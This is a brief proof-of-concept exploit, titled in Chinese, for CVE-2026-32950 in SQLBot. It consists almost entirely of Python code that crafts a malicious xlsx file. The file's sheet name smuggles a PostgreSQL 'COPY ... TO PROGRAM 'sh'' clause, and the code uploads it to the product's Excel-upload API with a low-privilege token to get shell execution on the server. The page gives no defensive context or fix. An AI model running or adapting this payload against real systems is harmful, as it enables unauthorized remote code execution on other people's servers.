CVE-2026-32950 SQLBot SQL注入致远程代码执行漏洞

import requests import zipfile import io # Target URL url = 'http://target:port/api/v1/datasource/uploadExcel' # Create a malicious Excel file by tampering with XML # The sheet name is injected into a COPY command to execute 'sh' malicious_sheet_name = "tablename) TO PROGRAM 'sh' --" # Simulating the creation of a zip file (xlsx) with modified workbook.xml # In a real exploit, you would unzip an xlsx, modify xl/workbook.xml, and re-zip. memory_file = io.BytesIO() with zipfile.ZipFile(memory_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Add dummy content (simplified for PoC) zf.writestr('xl/workbook.xml', f'<workbook><sheets><sheet name="{malicious_sheet_name}"/></sheets></workbook>') zf.writestr('[Content_Types].xml', '<Types />') memory_file.seek(0) # Send the malicious file files = {'file': ('exploit.xlsx', memory_file, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')} headers = {'Authorization': 'Bearer <low_privilege_token>'} response = requests.post(url, files=files, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}")